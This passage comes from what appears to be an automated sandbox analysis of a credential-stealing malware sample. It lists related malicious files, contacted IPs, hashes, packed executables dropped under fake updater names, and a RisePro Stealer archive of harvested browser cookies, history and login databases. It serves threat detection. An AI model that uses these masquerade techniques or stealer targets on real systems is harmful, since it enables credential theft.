	FT. 40FE CNY .xlsx.lnk	Get hash	malicious	AgentTesla, DBatLoader, PureLog Stealer, RedLine	Browse	104.26.5.15 34.117.186.192
	OHkRFujs2m.exe	Get hash	malicious	Unknown	Browse	104.26.5.15 34.117.186.192
37f463bf4616ecd445d4a1937da06e19	107. PN-EN-1090-2+A1_2012P.exe	Get hash	malicious	GuLoader, Remcos	Browse	185.199.220.53
	BM-FM_NR.24040718PDF.exe	Get hash	malicious	FormBook, GuLoader	Browse	185.199.220.53
	Z4CYGTBlj7.exe	Get hash	malicious	Babuk, Clipboard Hijacker, Djvu, Vidar	Browse	185.199.220.53
	IPrstVM17M.exe	Get hash	malicious	Unknown	Browse	185.199.220.53
	IPrstVM17M.exe	Get hash	malicious	Unknown	Browse	185.199.220.53
	SUwX12D2S6.exe	Get hash	malicious	Babuk, Clipboard Hijacker, Djvu, Vidar	Browse	185.199.220.53
	Zapytanie ofertowe Fl#U00e4ktGroup 04232024.hta	Get hash	malicious	AgentTesla, GuLoader	Browse	185.199.220.53
	file.exe	Get hash	malicious	PureLog Stealer, Vidar	Browse	185.199.220.53
	Umulighed.vbs	Get hash	malicious	AgentTesla, GuLoader	Browse	185.199.220.53
	rq0mVjR9ar.exe	Get hash	malicious	Babuk, Clipboard Hijacker, Djvu, Vidar	Browse	185.199.220.53

Dropped Files

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link
C:\ProgramData\MSIUpdaterV2_45c48cce2e2d7fbdea1afc51c7c6ad26\MSIUpdaterV2.exe	file.exe	Get hash	malicious	Clipboard Hijacker, RisePro Stealer	Browse
	file.exe	Get hash	malicious	Clipboard Hijacker, RisePro Stealer	Browse
	file.exe	Get hash	malicious	Clipboard Hijacker, RisePro Stealer	Browse
	file.exe	Get hash	malicious	Clipboard Hijacker, RisePro Stealer	Browse
	file.exe	Get hash	malicious	Clipboard Hijacker, RisePro Stealer	Browse
	file.exe	Get hash	malicious	Clipboard Hijacker, RisePro Stealer	Browse
	file.exe	Get hash	malicious	Clipboard Hijacker, PrivateLoader, RisePro Stealer	Browse
	file.exe	Get hash	malicious	Clipboard Hijacker, RisePro Stealer	Browse
	file.exe	Get hash	malicious	Clipboard Hijacker, RisePro Stealer	Browse
	file.exe	Get hash	malicious	Clipboard Hijacker, RisePro Stealer	Browse
C:\ProgramData\MSIUpdaterV2_c81e728d9d4c2f636f067f89cc14862c\MSIUpdaterV2.exe	file.exe	Get hash	malicious	Clipboard Hijacker, RisePro Stealer	Browse
	file.exe	Get hash	malicious	Clipboard Hijacker, RisePro Stealer	Browse
	file.exe	Get hash	malicious	Clipboard Hijacker, RisePro Stealer	Browse
	file.exe	Get hash	malicious	Clipboard Hijacker, RisePro Stealer	Browse
	file.exe	Get hash	malicious	Clipboard Hijacker, RisePro Stealer	Browse
	file.exe	Get hash	malicious	Clipboard Hijacker, RisePro Stealer	Browse
	file.exe	Get hash	malicious	Clipboard Hijacker, PrivateLoader, RisePro Stealer	Browse
	file.exe	Get hash	malicious	Clipboard Hijacker, RisePro Stealer	Browse
	file.exe	Get hash	malicious	Clipboard Hijacker, RisePro Stealer	Browse
	file.exe	Get hash	malicious	Clipboard Hijacker, RisePro Stealer	Browse

Created / dropped Files

C:\ProgramData\MSIUpdaterV2_45c48cce2e2d7fbdea1afc51c7c6ad26\MSIUpdaterV2.exe

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	MS-DOS executable PE32 executable (GUI) Intel 80386 (stripped to external PDB), for MS Windows, MZ for MS-DOS
Category:	dropped
Size (bytes):	4563640
Entropy (8bit):	7.906115886926003
Encrypted:	false
SSDEEP:	98304:RpvmMxvdjYr/2BLOizdh/0Rzs24+WhXWXfRqCFh6MacgD5hB:vlVjMuBx0R7RrXpqiUhB
MD5:	AF6E384DFABDAD52D43CF8429AD8779C
SHA1:	C78E8CD8C74AD9D598F591DE5E49F73CE3373791
SHA-256:	F327C2B5AB1D98F0382A35CD78F694D487C74A7290F1FF7BE53F42E23021E599
SHA-512:	B55BA87B275A475E751E13EC9BAC2E7F1A3484057844E210168E2256D73D9B6A7C7C7592845D4A3BF8163CF0D479315418A9F3CB8F2F4832AF88A06867E3DF93
Malicious:	true
Antivirus:	Antivirus: Avira, Detection: 100% Antivirus: Avira, Detection: 100% Antivirus: ReversingLabs, Detection: 83% Antivirus: Virustotal, Detection: 80%, Browse
Joe Sandbox View:	Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse
Preview:	MZ@.....................................!..L.!Win32 .EXE...$@...PE..L....M.a.....................^.......w......0....@...........................}.....m.F.......................................w.......w.\|.............E.............................................................P.w..............................MPRESS1.pw.......?......................MPRESS22.....w.......?..................rsrc...\|.....w.......?.............@..............................................................................v2.19w...?. ...o......G>H.r9aQ..(.......`....=....?....!.Z..&I........I18..Z!..Y..s...[QX....a....YY...).v.....n......\|)....^f..+.>..84h82g...>.hb\...E.(.x.....@.8_.9.4U.m..'.s......#.....03.......O..]`..S2.@#.........oF~..R..Q..q.o.yn...OA@\|....g...F....0.j.......s/..H..+ 0C.!....7s..^H,...... ..{...............D......r.I..,\|........u.6......E>q..}....g..).U..ME.'.j}.........7^...w.......Le......k.T.`.#%....b..n.F.&-o..../8S.E..{1.E..,....<.c\|b.z.Fz........\|..W"p.

C:\ProgramData\MSIUpdaterV2_c81e728d9d4c2f636f067f89cc14862c\MSIUpdaterV2.exe

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	MS-DOS executable PE32 executable (GUI) Intel 80386 (stripped to external PDB), for MS Windows, MZ for MS-DOS
Category:	dropped
Size (bytes):	4563640
Entropy (8bit):	7.906115886926003
Encrypted:	false
SSDEEP:	98304:RpvmMxvdjYr/2BLOizdh/0Rzs24+WhXWXfRqCFh6MacgD5hB:vlVjMuBx0R7RrXpqiUhB
MD5:	AF6E384DFABDAD52D43CF8429AD8779C
SHA1:	C78E8CD8C74AD9D598F591DE5E49F73CE3373791
SHA-256:	F327C2B5AB1D98F0382A35CD78F694D487C74A7290F1FF7BE53F42E23021E599
SHA-512:	B55BA87B275A475E751E13EC9BAC2E7F1A3484057844E210168E2256D73D9B6A7C7C7592845D4A3BF8163CF0D479315418A9F3CB8F2F4832AF88A06867E3DF93
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 83% Antivirus: Virustotal, Detection: 80%, Browse
Joe Sandbox View:	Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse
Preview:	MZ@.....................................!..L.!Win32 .EXE...$@...PE..L....M.a.....................^.......w......0....@...........................}.....m.F.......................................w.......w.\|.............E.............................................................P.w..............................MPRESS1.pw.......?......................MPRESS22.....w.......?..................rsrc...\|.....w.......?.............@..............................................................................v2.19w...?. ...o......G>H.r9aQ..(.......`....=....?....!.Z..&I........I18..Z!..Y..s...[QX....a....YY...).v.....n......\|)....^f..+.>..84h82g...>.hb\...E.(.x.....@.8_.9.4U.m..'.s......#.....03.......O..]`..S2.@#.........oF~..R..Q..q.o.yn...OA@\|....g...F....0.j.......s/..H..+ 0C.!....7s..^H,...... ..{...............D......r.I..,\|........u.6......E>q..}....g..).U..ME.'.j}.........7^...w.......Le......k.T.`.#%....b..n.F.&-o..../8S.E..{1.E..,....<.c\|b.z.Fz........\|..W"p.

C:\Users\user\AppData\Local\AdobeUpdaterV2_45c48cce2e2d7fbdea1afc51c7c6ad26\AdobeUpdaterV2.exe

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	MS-DOS executable PE32 executable (GUI) Intel 80386 (stripped to external PDB), for MS Windows, MZ for MS-DOS
Category:	dropped
Size (bytes):	4563640
Entropy (8bit):	7.906115886926003
Encrypted:	false
SSDEEP:	98304:RpvmMxvdjYr/2BLOizdh/0Rzs24+WhXWXfRqCFh6MacgD5hB:vlVjMuBx0R7RrXpqiUhB
MD5:	AF6E384DFABDAD52D43CF8429AD8779C
SHA1:	C78E8CD8C74AD9D598F591DE5E49F73CE3373791
SHA-256:	F327C2B5AB1D98F0382A35CD78F694D487C74A7290F1FF7BE53F42E23021E599
SHA-512:	B55BA87B275A475E751E13EC9BAC2E7F1A3484057844E210168E2256D73D9B6A7C7C7592845D4A3BF8163CF0D479315418A9F3CB8F2F4832AF88A06867E3DF93
Malicious:	true
Antivirus:	Antivirus: Avira, Detection: 100% Antivirus: Avira, Detection: 100% Antivirus: ReversingLabs, Detection: 83% Antivirus: Virustotal, Detection: 80%, Browse
Preview:	MZ@.....................................!..L.!Win32 .EXE...$@...PE..L....M.a.....................^.......w......0....@...........................}.....m.F.......................................w.......w.\|.............E.............................................................P.w..............................MPRESS1.pw.......?......................MPRESS22.....w.......?..................rsrc...\|.....w.......?.............@..............................................................................v2.19w...?. ...o......G>H.r9aQ..(.......`....=....?....!.Z..&I........I18..Z!..Y..s...[QX....a....YY...).v.....n......\|)....^f..+.>..84h82g...>.hb\...E.(.x.....@.8_.9.4U.m..'.s......#.....03.......O..]`..S2.@#.........oF~..R..Q..q.o.yn...OA@\|....g...F....0.j.......s/..H..+ 0C.!....7s..^H,...... ..{...............D......r.I..,\|........u.6......E>q..}....g..).U..ME.'.j}.........7^...w.......Le......k.T.`.#%....b..n.F.&-o..../8S.E..{1.E..,....<.c\|b.z.Fz........\|..W"p.

C:\Users\user\AppData\Local\AdobeUpdaterV2_c81e728d9d4c2f636f067f89cc14862c\AdobeUpdaterV2.exe

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	MS-DOS executable PE32 executable (GUI) Intel 80386 (stripped to external PDB), for MS Windows, MZ for MS-DOS
Category:	dropped
Size (bytes):	4563640
Entropy (8bit):	7.906115886926003
Encrypted:	false
SSDEEP:	98304:RpvmMxvdjYr/2BLOizdh/0Rzs24+WhXWXfRqCFh6MacgD5hB:vlVjMuBx0R7RrXpqiUhB
MD5:	AF6E384DFABDAD52D43CF8429AD8779C
SHA1:	C78E8CD8C74AD9D598F591DE5E49F73CE3373791
SHA-256:	F327C2B5AB1D98F0382A35CD78F694D487C74A7290F1FF7BE53F42E23021E599
SHA-512:	B55BA87B275A475E751E13EC9BAC2E7F1A3484057844E210168E2256D73D9B6A7C7C7592845D4A3BF8163CF0D479315418A9F3CB8F2F4832AF88A06867E3DF93
Malicious:	true
Antivirus:	Antivirus: Virustotal, Detection: 80%, Browse Antivirus: ReversingLabs, Detection: 83%
Preview:	MZ@.....................................!..L.!Win32 .EXE...$@...PE..L....M.a.....................^.......w......0....@...........................}.....m.F.......................................w.......w.\|.............E.............................................................P.w..............................MPRESS1.pw.......?......................MPRESS22.....w.......?..................rsrc...\|.....w.......?.............@..............................................................................v2.19w...?. ...o......G>H.r9aQ..(.......`....=....?....!.Z..&I........I18..Z!..Y..s...[QX....a....YY...).v.....n......\|)....^f..+.>..84h82g...>.hb\...E.(.x.....@.8_.9.4U.m..'.s......#.....03.......O..]`..S2.@#.........oF~..R..Q..q.o.yn...OA@\|....g...F....0.j.......s/..H..+ 0C.!....7s..^H,...... ..{...............D......r.I..,\|........u.6......E>q..}....g..).U..ME.'.j}.........7^...w.......Le......k.T.`.#%....b..n.F.&-o..../8S.E..{1.E..,....<.c\|b.z.Fz........\|..W"p.

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\D81IGXZV\l2[1].exe

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	MS-DOS executable PE32 executable (GUI) Intel 80386 (stripped to external PDB), for MS Windows, MZ for MS-DOS
Category:	dropped
Size (bytes):	4563640
Entropy (8bit):	7.906115886926003
Encrypted:	false
SSDEEP:	98304:RpvmMxvdjYr/2BLOizdh/0Rzs24+WhXWXfRqCFh6MacgD5hB:vlVjMuBx0R7RrXpqiUhB
MD5:	AF6E384DFABDAD52D43CF8429AD8779C
SHA1:	C78E8CD8C74AD9D598F591DE5E49F73CE3373791
SHA-256:	F327C2B5AB1D98F0382A35CD78F694D487C74A7290F1FF7BE53F42E23021E599
SHA-512:	B55BA87B275A475E751E13EC9BAC2E7F1A3484057844E210168E2256D73D9B6A7C7C7592845D4A3BF8163CF0D479315418A9F3CB8F2F4832AF88A06867E3DF93
Malicious:	true
Antivirus:	Antivirus: Avira, Detection: 100% Antivirus: ReversingLabs, Detection: 83% Antivirus: Virustotal, Detection: 80%, Browse
Preview:	MZ@.....................................!..L.!Win32 .EXE...$@...PE..L....M.a.....................^.......w......0....@...........................}.....m.F.......................................w.......w.\|.............E.............................................................P.w..............................MPRESS1.pw.......?......................MPRESS22.....w.......?..................rsrc...\|.....w.......?.............@..............................................................................v2.19w...?. ...o......G>H.r9aQ..(.......`....=....?....!.Z..&I........I18..Z!..Y..s...[QX....a....YY...).v.....n......\|)....^f..+.>..84h82g...>.hb\...E.(.x.....@.8_.9.4U.m..'.s......#.....03.......O..]`..S2.@#.........oF~..R..Q..q.o.yn...OA@\|....g...F....0.j.......s/..H..+ 0C.!....7s..^H,...... ..{...............D......r.I..,\|........u.6......E>q..}....g..).U..ME.'.j}.........7^...w.......Le......k.T.`.#%....b..n.F.&-o..../8S.E..{1.E..,....<.c\|b.z.Fz........\|..W"p.

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\NCK9WNDU\k[1].exe

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	MS-DOS executable PE32 executable (GUI) Intel 80386 (stripped to external PDB), for MS Windows, MZ for MS-DOS
Category:	dropped
Size (bytes):	4563640
Entropy (8bit):	7.906115886926003
Encrypted:	false
SSDEEP:	98304:RpvmMxvdjYr/2BLOizdh/0Rzs24+WhXWXfRqCFh6MacgD5hB:vlVjMuBx0R7RrXpqiUhB
MD5:	AF6E384DFABDAD52D43CF8429AD8779C
SHA1:	C78E8CD8C74AD9D598F591DE5E49F73CE3373791
SHA-256:	F327C2B5AB1D98F0382A35CD78F694D487C74A7290F1FF7BE53F42E23021E599
SHA-512:	B55BA87B275A475E751E13EC9BAC2E7F1A3484057844E210168E2256D73D9B6A7C7C7592845D4A3BF8163CF0D479315418A9F3CB8F2F4832AF88A06867E3DF93
Malicious:	true
Antivirus:	Antivirus: Avira, Detection: 100% Antivirus: ReversingLabs, Detection: 83% Antivirus: Virustotal, Detection: 80%, Browse
Preview:	MZ@.....................................!..L.!Win32 .EXE...$@...PE..L....M.a.....................^.......w......0....@...........................}.....m.F.......................................w.......w.\|.............E.............................................................P.w..............................MPRESS1.pw.......?......................MPRESS22.....w.......?..................rsrc...\|.....w.......?.............@..............................................................................v2.19w...?. ...o......G>H.r9aQ..(.......`....=....?....!.Z..&I........I18..Z!..Y..s...[QX....a....YY...).v.....n......\|)....^f..+.>..84h82g...>.hb\...E.(.x.....@.8_.9.4U.m..'.s......#.....03.......O..]`..S2.@#.........oF~..R..Q..q.o.yn...OA@\|....g...F....0.j.......s/..H..+ 0C.!....7s..^H,...... ..{...............D......r.I..,\|........u.6......E>q..}....g..).U..ME.'.j}.........7^...w.......Le......k.T.`.#%....b..n.F.&-o..../8S.E..{1.E..,....<.c\|b.z.Fz........\|..W"p.

C:\Users\user\AppData\Local\Temp\EdgeMS2_45c48cce2e2d7fbdea1afc51c7c6ad26\EdgeMS2.exe

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	MS-DOS executable PE32 executable (GUI) Intel 80386 (stripped to external PDB), for MS Windows, MZ for MS-DOS
Category:	dropped
Size (bytes):	4563640
Entropy (8bit):	7.906115886926003
Encrypted:	false
SSDEEP:	98304:RpvmMxvdjYr/2BLOizdh/0Rzs24+WhXWXfRqCFh6MacgD5hB:vlVjMuBx0R7RrXpqiUhB
MD5:	AF6E384DFABDAD52D43CF8429AD8779C
SHA1:	C78E8CD8C74AD9D598F591DE5E49F73CE3373791
SHA-256:	F327C2B5AB1D98F0382A35CD78F694D487C74A7290F1FF7BE53F42E23021E599
SHA-512:	B55BA87B275A475E751E13EC9BAC2E7F1A3484057844E210168E2256D73D9B6A7C7C7592845D4A3BF8163CF0D479315418A9F3CB8F2F4832AF88A06867E3DF93
Malicious:	true
Antivirus:	Antivirus: Avira, Detection: 100% Antivirus: Avira, Detection: 100% Antivirus: ReversingLabs, Detection: 83% Antivirus: Virustotal, Detection: 80%, Browse
Preview:	MZ@.....................................!..L.!Win32 .EXE...$@...PE..L....M.a.....................^.......w......0....@...........................}.....m.F.......................................w.......w.\|.............E.............................................................P.w..............................MPRESS1.pw.......?......................MPRESS22.....w.......?..................rsrc...\|.....w.......?.............@..............................................................................v2.19w...?. ...o......G>H.r9aQ..(.......`....=....?....!.Z..&I........I18..Z!..Y..s...[QX....a....YY...).v.....n......\|)....^f..+.>..84h82g...>.hb\...E.(.x.....@.8_.9.4U.m..'.s......#.....03.......O..]`..S2.@#.........oF~..R..Q..q.o.yn...OA@\|....g...F....0.j.......s/..H..+ 0C.!....7s..^H,...... ..{...............D......r.I..,\|........u.6......E>q..}....g..).U..ME.'.j}.........7^...w.......Le......k.T.`.#%....b..n.F.&-o..../8S.E..{1.E..,....<.c\|b.z.Fz........\|..W"p.

C:\Users\user\AppData\Local\Temp\EdgeMS2_c81e728d9d4c2f636f067f89cc14862c\EdgeMS2.exe

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	MS-DOS executable PE32 executable (GUI) Intel 80386 (stripped to external PDB), for MS Windows, MZ for MS-DOS
Category:	dropped
Size (bytes):	4563640
Entropy (8bit):	7.906115886926003
Encrypted:	false
SSDEEP:	98304:RpvmMxvdjYr/2BLOizdh/0Rzs24+WhXWXfRqCFh6MacgD5hB:vlVjMuBx0R7RrXpqiUhB
MD5:	AF6E384DFABDAD52D43CF8429AD8779C
SHA1:	C78E8CD8C74AD9D598F591DE5E49F73CE3373791
SHA-256:	F327C2B5AB1D98F0382A35CD78F694D487C74A7290F1FF7BE53F42E23021E599
SHA-512:	B55BA87B275A475E751E13EC9BAC2E7F1A3484057844E210168E2256D73D9B6A7C7C7592845D4A3BF8163CF0D479315418A9F3CB8F2F4832AF88A06867E3DF93
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 83% Antivirus: Virustotal, Detection: 80%, Browse
Preview:	MZ@.....................................!..L.!Win32 .EXE...$@...PE..L....M.a.....................^.......w......0....@...........................}.....m.F.......................................w.......w.\|.............E.............................................................P.w..............................MPRESS1.pw.......?......................MPRESS22.....w.......?..................rsrc...\|.....w.......?.............@..............................................................................v2.19w...?. ...o......G>H.r9aQ..(.......`....=....?....!.Z..&I........I18..Z!..Y..s...[QX....a....YY...).v.....n......\|)....^f..+.>..84h82g...>.hb\...E.(.x.....@.8_.9.4U.m..'.s......#.....03.......O..]`..S2.@#.........oF~..R..Q..q.o.yn...OA@\|....g...F....0.j.......s/..H..+ 0C.!....7s..^H,...... ..{...............D......r.I..,\|........u.6......E>q..}....g..).U..ME.'.j}.........7^...w.......Le......k.T.`.#%....b..n.F.&-o..../8S.E..{1.E..,....<.c\|b.z.Fz........\|..W"p.

C:\Users\user\AppData\Local\Temp\mMNhxEaskfVfjkc4NDz8xtN.zip

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	Zip archive data, at least v2.0 to extract, compression method=deflate
Category:	dropped
Size (bytes):	676552
Entropy (8bit):	7.997991411058607
Encrypted:	true
SSDEEP:	12288:R6T71E/B3ZVcpgDH29/Sg4rtUwlN6WHBtY0jAwtRQtzqPk0lFZ5wm81x:U1cB3ZVc4tUs6WHBtYWYztygh
MD5:	EF0B17AB2F9984C6F26F442BBA1BB1E9
SHA1:	EF418FF02346A81228D32C2061916F315B5E9313
SHA-256:	747DBB1AD3EF475E2C93FF48DE99150F06372EBD67AA256FDA1694CF0A4BB590
SHA-512:	765921711D1D4F14AF2E0C752AAD78AF094925B59D2519EE13EFD26A3D6B8588BBE7DB8DA63D0BCA570B4E8FB9EC711383BFC51462A9D9EE0B8B93E8CC54ABCD
Malicious:	true
Yara Hits:	Rule: JoeSecurity_RiseProStealer, Description: Yara detected RisePro Stealer, Source: C:\Users\user\AppData\Local\Temp\mMNhxEaskfVfjkc4NDz8xtN.zip, Author: Joe Security
Preview:	PK........cu.X................Cookies\..PK........cu.X."0~............Cookies\Chrome_Default.txt...n.@...3..#...6.9.....v...e0.f.c...oU.R{..<.u.uE.....~.V.s...H...BP...p.{4U..m. ..x...:....I.....U.a..PQ[..Z.N\|=u...R....DoG0...}..p....M..:]J.......b...v....?.?...-/.P......?...a..c.2.5c.7.E][..b\|.....9qW..m....!l....,.tXB........k..,.v-K.s.1N.......k&....b.._S7x..M...v...9X.wL../.,...aeD...X_-..Q........-..$.\|..=.....F..z)..6]j.E....d.....6..E.GzC..*.....v`...Y8.....PK........cu.X................History\..PK........cu.XXN./7...5...,...History\Firefox_24a4ohrz.default-release.txt.())(...///......I../J./(.,KL..O.,JM...44.43.4.43....PK........cu.X7.].b...........information.txt.X[S.F.~.............Tph...`..@.dim4...$.I...G....W.0c.sv.;..t.N.x.r..].HL6D....~.}X.!..1:Z.rD...!..b.{.at.d......p9.. R2.pE.`...`....f1...ie.o.X....I.p@...?"...R.9.......T..q...g8.>.3.bL..g.G..........nZ..w.......V...<I..7..1.7.>.m......>.(L.&z..+.d...'...W>.<9.N:..r..........%e..t..

C:\Users\user\AppData\Local\Temp\span8fTqI7Z4TQTK\02zdBXl47cvzcookies.sqlite

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	SQLite 3.x database, user version 12, last written using SQLite version 3042000, page size 32768, writer version 2, read version 2, file counter 3, database pages 3, cookie 0x1, schema 4, UTF-8, version-valid-for 3
Category:	dropped
Size (bytes):	98304
Entropy (8bit):	0.08235737944063153
Encrypted:	false
SSDEEP:	12:DQAsfWk73Fmdmc/OPVJXfPNn43etRRfYR5O8atLqxeYaNcDakMG/lO:DQAsff32mNVpP965Ra8KN0MG/lO
MD5:	369B6DD66F1CAD49D0952C40FEB9AD41
SHA1:	D05B2DE29433FB113EC4C558FF33087ED7481DD4
SHA-256:	14150D582B5321D91BDE0841066312AB3E6673CA51C982922BC293B82527220D
SHA-512:	771054845B27274054B6C73776204C235C46E0C742ECF3E2D9B650772BA5D259C8867B2FA92C3A9413D3E1AD35589D8431AC683DF84A53E13CDE361789045928
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j......}..}...........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\span8fTqI7Z4TQTK\3b6N2Xdh3CYwplaces.sqlite

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	SQLite 3.x database, user version 75, last written using SQLite version 3042000, page size 32768, writer version 2, read version 2, file counter 2, database pages 46, cookie 0x26, schema 4, UTF-8, version-valid-for 2
Category:	dropped
Size (bytes):	5242880
Entropy (8bit):	0.03708713717387235
Encrypted:	false
SSDEEP:	192:58rJQaXoMXp0VW9FxW/Hy4XJwvnzfXfYf6zfTfN/0DApVJCI:58r54w0VW3xW/bXWzvACzbJ0DApVJ
MD5:	85D6E1D7F82C11DAC40C95C06B7B5DC5
SHA1:	96EA790BA7A295D78AD5A5019D7EA5E9E8F4B0BD
SHA-256:	D9AD18D2A91CB42FD55695B562D76337BBB4A6AEB45D28C4554297B4EE0DC800
SHA-512:	5DD2B75138EFB9588E14997D84C23C8225F9BFDCEA6A2A1D542AD2C6728484E7E578F06C4BA238853EAD9BE5F9A7CCCF7B2B49A0583FF93D67F072F2C5165B14
Malicious:	false
Preview:	SQLite format 3......@ ...................&...................K..................................j.....-a>.~...\|0{dz.z.z"y.y3x.xKw.v.u.uGt.t;sAs.q.p.q.p{o.ohn.nem.n,m9l.k.lPj.j.h.h.g.d.c.c6b.b.a.a>..................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\span8fTqI7Z4TQTK\AA6PGxJTkeWELogin Data

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 1, database pages 20, cookie 0xb, schema 4, UTF-8, version-valid-for 1
Category:	dropped
Size (bytes):	40960
Entropy (8bit):	0.8553638852307782
Encrypted:	false
SSDEEP:	48:2x7BA+IIF7CVEq8Ma0D0HOlf/6ykwp1EUwMHZq10bvJKLkw8s8LKvUf9KVyJ7h/f:QNDCn8MouB6wz8iZqmvJKLPeymwil
MD5:	28222628A3465C5F0D4B28F70F97F482
SHA1:	1BAA3DEB7DFD7C9B4CA9FDB540F236C24917DD14
SHA-256:	93A6AF6939B17143531FA4474DFC564FA55359308B910E6F0DCA774D322C9BE4
SHA-512:	C8FB93F658C1A654186FA6AA2039E40791E6B0A1260B223272BB01279A7B574E238B28217DADF3E1850C7083ADFA2FE5DA0CCE6F9BCABD59E1FFD1061B3A88F7
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\span8fTqI7Z4TQTK\D87fZN3R3jFeplaces.sqlite

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	SQLite 3.x database, user version 75, last written using SQLite version 3042000, page size 32768, writer version 2, read version 2, file counter 2, database pages 46, cookie 0x26, schema 4, UTF-8, version-valid-for 2
Category:	dropped
Size (bytes):	5242880
Entropy (8bit):	0.03708713717387235
Encrypted:	false
SSDEEP:	192:58rJQaXoMXp0VW9FxW/Hy4XJwvnzfXfYf6zfTfN/0DApVJCI:58r54w0VW3xW/bXWzvACzbJ0DApVJ
MD5:	85D6E1D7F82C11DAC40C95C06B7B5DC5
SHA1:	96EA790BA7A295D78AD5A5019D7EA5E9E8F4B0BD
SHA-256:	D9AD18D2A91CB42FD55695B562D76337BBB4A6AEB45D28C4554297B4EE0DC800
SHA-512:	5DD2B75138EFB9588E14997D84C23C8225F9BFDCEA6A2A1D542AD2C6728484E7E578F06C4BA238853EAD9BE5F9A7CCCF7B2B49A0583FF93D67F072F2C5165B14
Malicious:	false
Preview:	SQLite format 3......@ ...................&...................K..................................j.....-a>.~...\|0{dz.z.z"y.y3x.xKw.v.u.uGt.t;sAs.q.p.q.p{o.ohn.nem.n,m9l.k.lPj.j.h.h.g.d.c.c6b.b.a.a>..................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\span8fTqI7Z4TQTK\ElGSHigIWc8DWeb Data

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 7, database pages 89, cookie 0x36, schema 4, UTF-8, version-valid-for 7
Category:	dropped
Size (bytes):	196608
Entropy (8bit):	1.1209886597424439
Encrypted:	false
SSDEEP:	192:r2qAdB9TbTbuDDsnxCkvSAE+WslKOMq+8QbnVcxjONC4Je5Q:r2qOB1nxCkvSAELyKOMq+8QTQKC+
MD5:	EFD26666EAE0E87B32082FF52F9F4C5E
SHA1:	603BFE6A7D6C0EC4B8BA1D38AEA6EFADDC42B5E0
SHA-256:	67D4CAA4255418EB18873F01597D1F4257C4146D1DCED78E26D5FD76B783F416
SHA-512:	28ADD7B8D88795F191567FD029E9F8BC9AEF7584CE3CD56DB40BBA52BC8335F2D8E53A5CE44C153C13A31FD0BE1D76D1E558A4AA5987D5456C000C4D64F08EAA
Malicious:	false
Preview:	SQLite format 3......@ .......Y...........6......................................................j............W........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\span8fTqI7Z4TQTK\Fc2_H7IAU6AsHistory

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 1, database pages 39, cookie 0x20, schema 4, UTF-8, version-valid-for 1
Category:	dropped
Size (bytes):	159744
Entropy (8bit):	0.5394293526345721
Encrypted:	false
SSDEEP:	96:AquejzH+bF+UIYysX0IxQzh/tsV0NifLjLqLy0e9S8E:AqtH+bF+UI3iN0RSV0k3qLyj9
MD5:	52701A76A821CDDBC23FB25C3FCA4968
SHA1:	440D4B5A38AF50711C5E6C6BE22D80BC17BF32DE
SHA-256:	D602B4D0B3EB9B51535F6EBA33709DCB881237FA95C5072CB39CECF0E06A0AC4
SHA-512:	2653C8DB9C20207FA7006BC9C63142B7C356FB9DC97F9184D60C75D987DC0848A8159C239E83E2FC9D45C522FEAE8D273CDCD31183DED91B8B587596183FC000
Malicious:	false
Preview:	SQLite format 3......@ .......'........... ......................................................j.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\span8fTqI7Z4TQTK\IHobmyUUXF8jFZ9HHCK7.exe

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	MS-DOS executable PE32 executable (GUI) Intel 80386 (stripped to external PDB), for MS Windows, MZ for MS-DOS
Category:	dropped
Size (bytes):	4563640
Entropy (8bit):	7.906115886926003
Encrypted:	false
